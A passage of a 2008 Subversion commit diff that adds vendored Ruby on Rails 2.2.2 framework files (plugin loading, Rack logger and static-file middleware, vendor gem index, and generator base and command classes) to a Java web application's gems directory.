+      def classic_init_path
+        File.join(directory, 'init.rb')
+      end
+
+      def gem_init_path
+        File.join(directory, 'rails', 'init.rb')
+      end
+
+      def init_path
+        File.file?(gem_init_path) ? gem_init_path : classic_init_path
+      end
+
+      def has_lib_directory?
+        File.directory?(lib_path)
+      end
+
+      def has_init_file?
+        File.file?(init_path)
+      end
+
+      def evaluate_init_rb(initializer)
+        if has_init_file?
+          silence_warnings do
+            # Allow plugins to reference the current configuration object
+            config = initializer.configuration
+            
+            eval(IO.read(init_path), binding, init_path)
+          end
+        end
+      end               
+  end
+
+  # This Plugin subclass represents a Gem plugin. Although RubyGems has already
+  # taken care of $LOAD_PATHs, it exposes its load_paths to add them
+  # to Dependencies.load_paths.
+  class GemPlugin < Plugin
+    # Initialize this plugin from a Gem::Specification.
+    def initialize(spec, gem)
+      directory = spec.full_gem_path
+      super(directory)
+      @name = spec.name
+    end
+
+    def init_path
+      File.join(directory, 'rails', 'init.rb')
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/rack/logger.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/rack/logger.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/rack/logger.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,28 @@
+module Rails
+  module Rack
+    class Logger
+      EnvironmentLog = "#{File.expand_path(Rails.root)}/log/#{Rails.env}.log"
+
+      def initialize(app, log = nil)
+        @app = app
+        @path = Pathname.new(log || EnvironmentLog).cleanpath
+        @cursor = ::File.size(@path)
+        @last_checked = Time.now
+      end
+
+      def call(env)
+        response = @app.call(env)
+        ::File.open(@path, 'r') do |f|
+          f.seek @cursor
+          if f.mtime > @last_checked
+            contents = f.read
+            @last_checked = f.mtime
+            @cursor += contents.length
+            print contents
+          end
+        end
+        response
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/rack/static.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/rack/static.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/rack/static.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,35 @@
+module Rails
+  module Rack
+    class Static
+      FILE_METHODS = %w(GET HEAD).freeze
+
+      def initialize(app)
+        @app = app
+        @file_server = ::Rack::File.new(File.join(RAILS_ROOT, "public"))
+      end
+
+      def call(env)
+        path        = env['PATH_INFO'].chomp('/')
+        method      = env['REQUEST_METHOD']
+        cached_path = (path.empty? ? 'index' : path) + ::ActionController::Base.page_cache_extension
+
+        if FILE_METHODS.include?(method)
+          if file_exist?(path)
+            return @file_server.call(env)
+          elsif file_exist?(cached_path)
+            env['PATH_INFO'] = cached_path
+            return @file_server.call(env)
+          end
+        end
+
+        @app.call(env)
+      end
+
+      private
+        def file_exist?(path)
+          full_path = File.join(@file_server.root, ::Rack::Utils.unescape(path))
+          File.file?(full_path) && File.readable?(full_path)
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/rack.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/rack.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/rack.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+module Rails
+  module Rack
+    autoload :Logger, "rails/rack/logger"
+    autoload :Static, "rails/rack/static"
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/vendor_gem_source_index.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/vendor_gem_source_index.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/vendor_gem_source_index.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,140 @@
+require 'rubygems'
+require 'yaml'
+
+module Rails
+
+  class VendorGemSourceIndex
+    # VendorGemSourceIndex acts as a proxy for the Gem source index, allowing
+    # gems to be loaded from vendor/gems. Rather than the standard gem repository format,
+    # vendor/gems contains unpacked gems, with YAML specifications in .specification in
+    # each gem directory.
+    include Enumerable
+
+    attr_reader :installed_source_index
+    attr_reader :vendor_source_index
+
+    @@silence_spec_warnings = false
+
+    def self.silence_spec_warnings
+      @@silence_spec_warnings
+    end
+
+    def self.silence_spec_warnings=(v)
+      @@silence_spec_warnings = v
+    end
+
+    def initialize(installed_index, vendor_dir=Rails::GemDependency.unpacked_path)
+      @installed_source_index = installed_index
+      @vendor_dir = vendor_dir
+      refresh!
+    end
+
+    def refresh!
+      # reload the installed gems
+      @installed_source_index.refresh!
+      vendor_gems = {}
+
+      # handle vendor Rails gems - they are identified by having loaded_from set to ""
+      # we add them manually to the list, so that other gems can find them via dependencies
+      Gem.loaded_specs.each do |n, s|
+        next unless s.loaded_from.empty?
+        vendor_gems[s.full_name] = s
+      end
+
+      # load specifications from vendor/gems
+      Dir[File.join(Rails::GemDependency.unpacked_path, '*')].each do |d|
+        dir_name = File.basename(d)
+        dir_version = version_for_dir(dir_name)
+        spec = load_specification(d)
+        if spec
+          if spec.full_name != dir_name
+            # mismatched directory name and gem spec - produced by 2.1.0-era unpack code
+            if dir_version
+              # fix the spec version - this is not optimal (spec.files may be wrong)
+              # but it's better than breaking apps. Complain to remind users to get correct specs.
+              # use ActiveSupport::Deprecation.warn, as the logger is not set yet
+              $stderr.puts("config.gem: Unpacked gem #{dir_name} in vendor/gems has a mismatched specification file."+
+                           " Run 'rake gems:refresh_specs' to fix this.") unless @@silence_spec_warnings
+              spec.version = dir_version
+            else
+              $stderr.puts("config.gem: Unpacked gem #{dir_name} in vendor/gems is not in a versioned directory"+
+                           "(should be #{spec.full_name}).") unless @@silence_spec_warnings
+              # continue, assume everything is OK
+            end
+          end
+        else
+          # no spec - produced by early-2008 unpack code
+          # emulate old behavior, and complain.
+          $stderr.puts("config.gem: Unpacked gem #{dir_name} in vendor/gems has no specification file."+
+                       " Run 'rake gems:refresh_specs' to fix this.") unless @@silence_spec_warnings
+          if dir_version
+            spec = Gem::Specification.new
+            spec.version = dir_version
+            spec.require_paths = ['lib']
+            ext_path = File.join(d, 'ext')
+            spec.require_paths << 'ext' if File.exist?(ext_path)
+            spec.name = /^(.*)-[^-]+$/.match(dir_name)[1]
+            files = ['lib']
+            # set files to everything in lib/
+            files += Dir[File.join(d, 'lib', '*')].map { |v| v.gsub(/^#{d}\//, '') }
+            files += Dir[File.join(d, 'ext', '*')].map { |v| v.gsub(/^#{d}\//, '') } if ext_path
+            spec.files = files
+          else
+            $stderr.puts("config.gem: Unpacked gem #{dir_name} in vendor/gems not in a versioned directory."+
+                         " Giving up.") unless @@silence_spec_warnings
+            next
+          end
+        end
+        spec.loaded_from = File.join(d, '.specification')
+        # finally, swap out full_gem_path
+        # it would be better to use a Gem::Specification subclass, but the YAML loads an explicit class
+        class << spec
+          def full_gem_path
+            path = File.join installation_path, full_name
+            return path if File.directory? path
+            File.join installation_path, original_name
+          end
+        end
+        vendor_gems[File.basename(d)] = spec
+      end
+      @vendor_source_index = Gem::SourceIndex.new(vendor_gems)
+    end
+
+    def version_for_dir(d)
+      matches = /-([^-]+)$/.match(d)
+      Gem::Version.new(matches[1]) if matches
+    end
+
+    def load_specification(gem_dir)
+      spec_file = File.join(gem_dir, '.specification')
+      YAML.load_file(spec_file) if File.exist?(spec_file)
+    end
+
+    def find_name(*args)
+      @installed_source_index.find_name(*args) + @vendor_source_index.find_name(*args)
+    end
+
+    def search(*args)
+      # look for vendor gems, and then installed gems - later elements take priority
+      @installed_source_index.search(*args) + @vendor_source_index.search(*args)
+    end
+
+    def each(&block)
+      @vendor_source_index.each(&block)
+      @installed_source_index.each(&block)
+    end
+
+    def add_spec(spec)
+      @vendor_source_index.add_spec spec
+    end
+
+    def remove_spec(spec)
+      @vendor_source_index.remove_spec spec
+    end
+
+    def size
+      @vendor_source_index.size + @installed_source_index.size
+    end
+
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/version.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/version.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/version.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+module Rails
+  module VERSION #:nodoc:
+    MAJOR = 2
+    MINOR = 2
+    TINY  = 2
+
+    STRING = [MAJOR, MINOR, TINY].join('.')
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/base.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/base.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/base.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,263 @@
+require File.dirname(__FILE__) + '/options'
+require File.dirname(__FILE__) + '/manifest'
+require File.dirname(__FILE__) + '/spec'
+require File.dirname(__FILE__) + '/generated_attribute'
+
+module Rails
+  # Rails::Generator is a code generation platform tailored for the Rails
+  # web application framework.  Generators are easily invoked within Rails
+  # applications to add and remove components such as models and controllers.
+  # New generators are easy to create and may be distributed as RubyGems,
+  # tarballs, or Rails plugins for inclusion system-wide, per-user, 
+  # or per-application.
+  #
+  # For actual examples see the rails_generator/generators directory in the
+  # Rails source (or the +railties+ directory if you have frozen the Rails
+  # source in your application).
+  #
+  # Generators may subclass other generators to provide variations that
+  # require little or no new logic but replace the template files.
+  #
+  # For a RubyGem, put your generator class and templates in the +lib+
+  # directory. For a Rails plugin, make a +generators+ directory at the 
+  # root of your plugin.
+  #
+  # The layout of generator files can be seen in the built-in 
+  # +controller+ generator:
+  #   
+  #   generators/
+  #     components/
+  #       controller/
+  #         controller_generator.rb
+  #         templates/
+  #           controller.rb
+  #           functional_test.rb
+  #           helper.rb
+  #           view.html.erb
+  #
+  # The directory name (+controller+) matches the name of the generator file
+  # (controller_generator.rb) and class (ControllerGenerator). The files
+  # that will be copied or used as templates are stored in the +templates+
+  # directory.
+  #
+  # The filenames of the templates don't matter, but choose something that
+  # will be self-explanatory since you will be referencing these in the 
+  # +manifest+ method inside your generator subclass.
+  #
+  # 
+  module Generator
+    class GeneratorError < StandardError; end
+    class UsageError < GeneratorError; end
+
+
+    # The base code generator is bare-bones.  It sets up the source and
+    # destination paths and tells the logger whether to keep its trap shut.
+    #
+    # It's useful for copying files such as stylesheets, images, or 
+    # javascripts.
+    #
+    # For more comprehensive template-based passive code generation with
+    # arguments, you'll want Rails::Generator::NamedBase. 
+    #
+    # Generators create a manifest of the actions they perform then hand
+    # the manifest to a command which replays the actions to do the heavy
+    # lifting (such as checking for existing files or creating directories
+    # if needed). Create, destroy, and list commands are included.  Since a
+    # single manifest may be used by any command, creating new generators is
+    # as simple as writing some code templates and declaring what you'd like
+    # to do with them.
+    #
+    # The manifest method must be implemented by subclasses, returning a
+    # Rails::Generator::Manifest.  The +record+ method is provided as a
+    # convenience for manifest creation.  Example:
+    #
+    #   class StylesheetGenerator < Rails::Generator::Base
+    #     def manifest
+    #       record do |m|
+    #         m.directory('public/stylesheets')
+    #         m.file('application.css', 'public/stylesheets/application.css')
+    #       end
+    #     end
+    #   end
+    #
+    # See Rails::Generator::Commands::Create for a list of methods available
+    # to the manifest.
+    class Base
+      include Options
+
+      # Declare default options for the generator.  These options
+      # are inherited to subclasses.
+      default_options :collision => :ask, :quiet => false
+
+      # A logger instance available everywhere in the generator.
+      cattr_accessor :logger
+
+      # Every generator that is dynamically looked up is tagged with a
+      # Spec describing where it was found.
+      class_inheritable_accessor :spec
+
+      attr_reader :source_root, :destination_root, :args
+
+      def initialize(runtime_args, runtime_options = {})
+        @args = runtime_args
+        parse!(@args, runtime_options)
+
+        # Derive source and destination paths.
+        @source_root = options[:source] || File.join(spec.path, 'templates')
+        if options[:destination]
+          @destination_root = options[:destination]
+        elsif defined? ::RAILS_ROOT
+          @destination_root = ::RAILS_ROOT
+        end
+
+        # Silence the logger if requested.
+        logger.quiet = options[:quiet]
+
+        # Raise usage error if help is requested.
+        usage if options[:help]
+      end
+
+      # Generators must provide a manifest.  Use the +record+ method to create
+      # a new manifest and record your generator's actions.
+      def manifest
+        raise NotImplementedError, "No manifest for '#{spec.name}' generator."
+      end
+
+      # Return the full path from the source root for the given path.
+      # Example for source_root = '/source':
+      #   source_path('some/path.rb') == '/source/some/path.rb'
+      #
+      # The given path may include a colon ':' character to indicate that
+      # the file belongs to another generator.  This notation allows any
+      # generator to borrow files from another.  Example:
+      #   source_path('model:fixture.yml') = '/model/source/path/fixture.yml'
+      def source_path(relative_source)
+        # Check whether we're referring to another generator's file.
+        name, path = relative_source.split(':', 2)
+
+        # If not, return the full path to our source file.
+        if path.nil?
+          File.join(source_root, name)
+
+        # Otherwise, ask our referral for the file.
+        else
+          # FIXME: this is broken, though almost always true.  Others'
+          # source_root are not necessarily the templates dir.
+          File.join(self.class.lookup(name).path, 'templates', path)
+        end
+      end
+
+      # Return the full path from the destination root for the given path.
+      # Example for destination_root = '/dest':
+      #   destination_path('some/path.rb') == '/dest/some/path.rb'
+      def destination_path(relative_destination)
+        File.join(destination_root, relative_destination)
+      end
+
+      protected
+        # Convenience method for generator subclasses to record a manifest.
+        def record
+          Rails::Generator::Manifest.new(self) { |m| yield m }
+        end
+
+        # Override with your own usage banner.
+        def banner
+          "Usage: #{$0} #{spec.name} [options]"
+        end
+
+        # Read USAGE from file in generator base path.
+        def usage_message
+          File.read(File.join(spec.path, 'USAGE')) rescue ''
+        end
+    end
+
+
+    # The base generator for named components: models, controllers, mailers,
+    # etc.  The target name is taken as the first argument and inflected to
+    # singular, plural, class, file, and table forms for your convenience.
+    # The remaining arguments are aliased to +actions+ as an array for 
+    # controller and mailer convenience.
+    #
+    # Several useful local variables and methods are populated in the 
+    # +initialize+ method. See below for a list of Attributes and
+    # External Aliases available to both the manifest and to all templates.    
+    #
+    # If no name is provided, the generator raises a usage error with content
+    # optionally read from the USAGE file in the generator's base path.
+    #
+    # For example, the +controller+ generator takes the first argument as 
+    # the name of the class and subsequent arguments as the names of
+    # actions to be generated:
+    #
+    #   ./script/generate controller Article index new create
+    #
+    # See Rails::Generator::Base for a discussion of manifests, 
+    # Rails::Generator::Commands::Create for methods available to the manifest,
+    # and Rails::Generator for a general discussion of generators.
+    class NamedBase < Base
+      attr_reader   :name, :class_name, :singular_name, :plural_name, :table_name
+      attr_reader   :class_path, :file_path, :class_nesting, :class_nesting_depth
+      alias_method  :file_name,  :singular_name
+      alias_method  :actions, :args
+
+      def initialize(runtime_args, runtime_options = {})
+        super
+
+        # Name argument is required.
+        usage if runtime_args.empty?
+
+        @args = runtime_args.dup
+        base_name = @args.shift
+        assign_names!(base_name)
+      end
+
+      protected
+        # Override with your own usage banner.
+        def banner
+          "Usage: #{$0} #{spec.name} #{spec.name.camelize}Name [options]"
+        end
+    
+        def attributes
+          @attributes ||= @args.collect do |attribute|
+            Rails::Generator::GeneratedAttribute.new(*attribute.split(":"))
+          end
+        end
+
+
+      private
+        def assign_names!(name)
+          @name = name
+          base_name, @class_path, @file_path, @class_nesting, @class_nesting_depth = extract_modules(@name)
+          @class_name_without_nesting, @singular_name, @plural_name = inflect_names(base_name)
+          @table_name = (!defined?(ActiveRecord::Base) || ActiveRecord::Base.pluralize_table_names) ? plural_name : singular_name
+          @table_name.gsub! '/', '_'
+          if @class_nesting.empty?
+            @class_name = @class_name_without_nesting
+          else
+            @table_name = @class_nesting.underscore << "_" << @table_name
+            @class_name = "#{@class_nesting}::#{@class_name_without_nesting}"
+          end
+        end
+
+        # Extract modules from filesystem-style or ruby-style path:
+        #   good/fun/stuff
+        #   Good::Fun::Stuff
+        # produce the same results.
+        def extract_modules(name)
+          modules = name.include?('/') ? name.split('/') : name.split('::')
+          name    = modules.pop
+          path    = modules.map { |m| m.underscore }
+          file_path = (path + [name.underscore]).join('/')
+          nesting = modules.map { |m| m.camelize }.join('::')
+          [name, path, file_path, nesting, modules.size]
+        end
+
+        def inflect_names(name)
+          camel  = name.camelize
+          under  = camel.underscore
+          plural = under.pluralize
+          [camel, under, plural]
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/commands.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/commands.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/commands.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,616 @@
+require 'delegate'
+require 'optparse'
+require 'fileutils'
+require 'tempfile'
+require 'erb'
+
+module Rails
+  module Generator
+    module Commands
+      # Here's a convenient way to get a handle on generator commands.
+      # Command.instance('destroy', my_generator) instantiates a Destroy
+      # delegate of my_generator ready to do your dirty work.
+      def self.instance(command, generator)
+        const_get(command.to_s.camelize).new(generator)
+      end
+
+      # Even more convenient access to commands.  Include Commands in
+      # the generator Base class to get a nice #command instance method
+      # which returns a delegate for the requested command.
+      def self.included(base)
+        base.send(:define_method, :command) do |command|
+          Commands.instance(command, self)
+        end
+      end
+
+
+      # Generator commands delegate Rails::Generator::Base and implement
+      # a standard set of actions.  Their behavior is defined by the way
+      # they respond to these actions: Create brings life; Destroy brings
+      # death; List passively observes.
+      #
+      # Commands are invoked by replaying (or rewinding) the generator's
+      # manifest of actions.  See Rails::Generator::Manifest and
+      # Rails::Generator::Base#manifest method that generator subclasses
+      # are required to override.
+      #
+      # Commands allows generators to "plug in" invocation behavior, which
+      # corresponds to the GoF Strategy pattern.
+      class Base < DelegateClass(Rails::Generator::Base)
+        # Replay action manifest.  RewindBase subclass rewinds manifest.
+        def invoke!
+          manifest.replay(self)
+        end
+
+        def dependency(generator_name, args, runtime_options = {})
+          logger.dependency(generator_name) do
+            self.class.new(instance(generator_name, args, full_options(runtime_options))).invoke!
+          end
+        end
+
+        # Does nothing for all commands except Create.
+        def class_collisions(*class_names)
+        end
+
+        # Does nothing for all commands except Create.
+        def readme(*args)
+        end
+
+        protected
+          def current_migration_number
+            Dir.glob("#{RAILS_ROOT}/#{@migration_directory}/[0-9]*_*.rb").inject(0) do |max, file_path|
+              n = File.basename(file_path).split('_', 2).first.to_i
+              if n > max then n else max end
+            end
+          end
+             
+          def next_migration_number
+            current_migration_number + 1
+          end
+               
+          def migration_directory(relative_path)
+            directory(@migration_directory = relative_path)
+          end
+
+          def existing_migrations(file_name)
+            Dir.glob("#{@migration_directory}/[0-9]*_*.rb").grep(/[0-9]+_#{file_name}.rb$/)
+          end
+
+          def migration_exists?(file_name)
+            not existing_migrations(file_name).empty?
+          end
+
+          def next_migration_string(padding = 3)
+            if ActiveRecord::Base.timestamped_migrations
+              Time.now.utc.strftime("%Y%m%d%H%M%S")
+            else
+              "%.#{padding}d" % next_migration_number
+            end
+          end
+
+          def gsub_file(relative_destination, regexp, *args, &block)
+            path = destination_path(relative_destination)
+            content = File.read(path).gsub(regexp, *args, &block)
+            File.open(path, 'wb') { |file| file.write(content) }
+          end
+
+        private
+          # Ask the user interactively whether to force collision.
+          def force_file_collision?(destination, src, dst, file_options = {}, &block)
+            $stdout.print "overwrite #{destination}? (enter \"h\" for help) [Ynaqdh] "
+            case $stdin.gets.chomp
+              when /\Ad\z/i
+                Tempfile.open(File.basename(destination), File.dirname(dst)) do |temp|
+                  temp.write render_file(src, file_options, &block)
+                  temp.rewind
+                  $stdout.puts `#{diff_cmd} "#{dst}" "#{temp.path}"`
+                end
+                puts "retrying"
+                raise 'retry diff'
+              when /\Aa\z/i
+                $stdout.puts "forcing #{spec.name}"
+                options[:collision] = :force
+              when /\Aq\z/i
+                $stdout.puts "aborting #{spec.name}"
+                raise SystemExit
+              when /\An\z/i then :skip
+              when /\Ay\z/i then :force
+              else
+                $stdout.puts <<-HELP
+Y - yes, overwrite
+n - no, do not overwrite
+a - all, overwrite this and all others
+q - quit, abort
+d - diff, show the differences between the old and the new
+h - help, show this help
+HELP
+                raise 'retry'
+            end
+          rescue
+            retry
+          end
+
+          def diff_cmd
+            ENV['RAILS_DIFF'] || 'diff -u'
+          end
+
+          def render_template_part(template_options)
+            # Getting Sandbox to evaluate part template in it
+            part_binding = template_options[:sandbox].call.sandbox_binding
+            part_rel_path = template_options[:insert]
+            part_path = source_path(part_rel_path)
+
+            # Render inner template within Sandbox binding
+            rendered_part = ERB.new(File.readlines(part_path).join, nil, '-').result(part_binding)
+            begin_mark = template_part_mark(template_options[:begin_mark], template_options[:mark_id])
+            end_mark = template_part_mark(template_options[:end_mark], template_options[:mark_id])
+            begin_mark + rendered_part + end_mark
+          end
+
+          def template_part_mark(name, id)
+            "<!--[#{name}:#{id}]-->\n"
+          end
+      end
+
+      # Base class for commands which handle generator actions in reverse, such as Destroy.
+      class RewindBase < Base
+        # Rewind action manifest.
+        def invoke!
+          manifest.rewind(self)
+        end
+      end
+
+
+      # Create is the premier generator command.  It copies files, creates
+      # directories, renders templates, and more.
+      class Create < Base
+
+        # Check whether the given class names are already taken by
+        # Ruby or Rails.  In the future, expand to check other namespaces
+        # such as the rest of the user's app.
+        def class_collisions(*class_names)
+          path = class_names.shift
+          class_names.flatten.each do |class_name|
+            # Convert to string to allow symbol arguments.
+            class_name = class_name.to_s
+
+            # Skip empty strings.
+            next if class_name.strip.empty?
+
+            # Split the class from its module nesting.
+            nesting = class_name.split('::')
+            name = nesting.pop
+
+            # Extract the last Module in the nesting.
+            last = nesting.inject(Object) { |last, nest|
+              break unless last.const_defined?(nest)
+              last.const_get(nest)
+            }
+
+            # If the last Module exists, check whether the given
+            # class exists and raise a collision if so.
+            if last and last.const_defined?(name.camelize)
+              raise_class_collision(class_name)
+            end
+          end
+        end
+
+        # Copy a file from source to destination with collision checking.
+        #
+        # The file_options hash accepts :chmod and :shebang and :collision options.
+        # :chmod sets the permissions of the destination file:
+        #   file 'config/empty.log', 'log/test.log', :chmod => 0664
+        # :shebang sets the #!/usr/bin/ruby line for scripts
+        #   file 'bin/generate.rb', 'script/generate', :chmod => 0755, :shebang => '/usr/bin/env ruby'
+        # :collision sets the collision option only for the destination file:
+        #   file 'settings/server.yml', 'config/server.yml', :collision => :skip
+        #
+        # Collisions are handled by checking whether the destination file
+        # exists and either skipping the file, forcing overwrite, or asking
+        # the user what to do.
+        def file(relative_source, relative_destination, file_options = {}, &block)
+          # Determine full paths for source and destination files.
+          source              = source_path(relative_source)
+          destination         = destination_path(relative_destination)
+          destination_exists  = File.exist?(destination)
+
+          # If source and destination are identical then we're done.
+          if destination_exists and identical?(source, destination, &block)
+            return logger.identical(relative_destination)
+          end
+
+          # Check for and resolve file collisions.
+          if destination_exists
+
+            # Make a choice whether to overwrite the file.  :force and
+            # :skip already have their mind made up, but give :ask a shot.
+            choice = case (file_options[:collision] || options[:collision]).to_sym #|| :ask
+              when :ask   then force_file_collision?(relative_destination, source, destination, file_options, &block)
+              when :force then :force
+              when :skip  then :skip
+              else raise "Invalid collision option: #{options[:collision].inspect}"
+            end
+
+            # Take action based on our choice.  Bail out if we chose to
+            # skip the file; otherwise, log our transgression and continue.
+            case choice
+              when :force then logger.force(relative_destination)
+              when :skip  then return(logger.skip(relative_destination))
+              else raise "Invalid collision choice: #{choice}.inspect"
+            end
+
+          # File doesn't exist so log its unbesmirched creation.
+          else
+            logger.create relative_destination
+          end
+
+          # If we're pretending, back off now.
+          return if options[:pretend]
+
+          # Write destination file with optional shebang.  Yield for content
+          # if block given so templaters may render the source file.  If a
+          # shebang is requested, replace the existing shebang or insert a
+          # new one.
+          File.open(destination, 'wb') do |dest|
+            dest.write render_file(source, file_options, &block)
+          end
+
+          # Optionally change permissions.
+          if file_options[:chmod]
+            FileUtils.chmod(file_options[:chmod], destination)
+          end
+
+          # Optionally add file to subversion or git
+          system("svn add #{destination}") if options[:svn]
+          system("git add -v #{relative_destination}") if options[:git]
+        end
+
+        # Checks if the source and the destination file are identical. If
+        # passed a block then the source file is a template that needs to first
+        # be evaluated before being compared to the destination.
+        def identical?(source, destination, &block)
+          return false if File.directory? destination
+          source      = block_given? ? File.open(source) {|sf| yield(sf)} : IO.read(source)
+          destination = IO.read(destination)
+          source == destination
+        end
+
+        # Generate a file for a Rails application using an ERuby template.
+        # Looks up and evaluates a template by name and writes the result.
+        #
+        # The ERB template uses explicit trim mode to best control the
+        # proliferation of whitespace in generated code.  <%- trims leading
+        # whitespace; -%> trims trailing whitespace including one newline.
+        #
+        # A hash of template options may be passed as the last argument.
+        # The options accepted by the file are accepted as well as :assigns,
+        # a hash of variable bindings.  Example:
+        #   template 'foo', 'bar', :assigns => { :action => 'view' }
+        #
+        # Template is implemented in terms of file.  It calls file with a
+        # block which takes a file handle and returns its rendered contents.
+        def template(relative_source, relative_destination, template_options = {})
+          file(relative_source, relative_destination, template_options) do |file|
+            # Evaluate any assignments in a temporary, throwaway binding.
+            vars = template_options[:assigns] || {}
+            b = binding
+            vars.each { |k,v| eval "#{k} = vars[:#{k}] || vars['#{k}']", b }
+
+            # Render the source file with the temporary binding.
+            ERB.new(file.read, nil, '-').result(b)
+          end
+        end
+
+        def complex_template(relative_source, relative_destination, template_options = {})
+          options = template_options.dup
+          options[:assigns] ||= {}
+          options[:assigns]['template_for_inclusion'] = render_template_part(template_options)
+          template(relative_source, relative_destination, options)
+        end
+
+        # Create a directory including any missing parent directories.
+        # Always skips directories which exist.
+        def directory(relative_path)
+          path = destination_path(relative_path)
+          if File.exist?(path)
+            logger.exists relative_path
+          else
+            logger.create relative_path
+            unless options[:pretend]
+              FileUtils.mkdir_p(path)
+              # git doesn't require adding the paths, adding the files later will
+              # automatically do a path add.
+
+              # Subversion doesn't do path adds, so we need to add
+              # each directory individually.
+              # So stack up the directory tree and add the paths to
+              # subversion in order without recursion.
+              if options[:svn]
+                stack = [relative_path]
+                until File.dirname(stack.last) == stack.last # dirname('.') == '.'
+                  stack.push File.dirname(stack.last)
+                end
+                stack.reverse_each do |rel_path|
+                  svn_path = destination_path(rel_path)
+                  system("svn add -N #{svn_path}") unless File.directory?(File.join(svn_path, '.svn'))
+                end
+              end
+            end
+          end
+        end
+
+        # Display a README.
+        def readme(*relative_sources)
+          relative_sources.flatten.each do |relative_source|
+            logger.readme relative_source
+            puts File.read(source_path(relative_source)) unless options[:pretend]
+          end
+        end
+
+        # When creating a migration, it knows to find the first available file in db/migrate and use the migration.rb template.
+        def migration_template(relative_source, relative_destination, template_options = {})
+          migration_directory relative_destination
+          migration_file_name = template_options[:migration_file_name] || file_name
+          raise "Another migration is already named #{migration_file_name}: #{existing_migrations(migration_file_name).first}" if migration_exists?(migration_file_name)
+          template(relative_source, "#{relative_destination}/#{next_migration_string}_#{migration_file_name}.rb", template_options)
+        end
+
+        def route_resources(*resources)
+          resource_list = resources.map { |r| r.to_sym.inspect }.join(', ')
+          sentinel = 'ActionController::Routing::Routes.draw do |map|'
+
+          logger.route "map.resources #{resource_list}"
+          unless options[:pretend]
+            gsub_file 'config/routes.rb', /(#{Regexp.escape(sentinel)})/mi do |match|
+              "#{match}\n  map.resources #{resource_list}\n"
+            end
+          end
+        end
+
+        private
+          def render_file(path, options = {})
+            File.open(path, 'rb') do |file|
+              if block_given?
+                yield file
+              else
+                content = ''
+                if shebang = options[:shebang]
+                  content << "#!#{shebang}\n"
+                  if line = file.gets
+                    content << "line\n" if line !~ /^#!/
+                  end
+                end
+                content << file.read
+              end
+            end
+          end
+
+          # Raise a usage error with an informative WordNet suggestion.
+          # Thanks to Florian Gross (flgr).
+          def raise_class_collision(class_name)
+            message = <<end_message
+  The name '#{class_name}' is either already used in your application or reserved by Ruby on Rails.
+  Please choose an alternative and run this generator again.
+end_message
+            if suggest = find_synonyms(class_name)
+              if suggest.any?
+                message << "\n  Suggestions:  \n\n"
+                message << suggest.join("\n")
+              end
+            end
+            raise UsageError, message
+          end
+
+          SYNONYM_LOOKUP_URI = "http://wordnet.princeton.edu/perl/webwn?s=%s"
+
+          # Look up synonyms on WordNet.  Thanks to Florian Gross (flgr).
+          def find_synonyms(word)
+            require 'open-uri'
+            require 'timeout'
+            timeout(5) do
+              open(SYNONYM_LOOKUP_URI % word) do |stream|
+                # Grab words linked to dictionary entries as possible synonyms
+                data = stream.read.gsub("&nbsp;", " ").scan(/<a href="webwn.*?">([\w ]*?)<\/a>/s).uniq
+              end
+            end
+          rescue Exception
+            return nil
+          end
+      end
+
+
+      # Undo the actions performed by a generator.  Rewind the action
+      # manifest and attempt to completely erase the results of each action.
+      class Destroy < RewindBase
+        # Remove a file if it exists and is a file.
+        def file(relative_source, relative_destination, file_options = {})
+          destination = destination_path(relative_destination)
+          if File.exist?(destination)
+            logger.rm relative_destination
+            unless options[:pretend]
+              if options[:svn]
+                # If the file has been marked to be added
+                # but has not yet been checked in, revert and delete
+                if options[:svn][relative_destination]
+                  system("svn revert #{destination}")
+                  FileUtils.rm(destination)
+                else
+                # If the directory is not in the status list, it
+                # has no modifications so we can simply remove it
+                  system("svn rm #{destination}")
+                end
+              elsif options[:git]
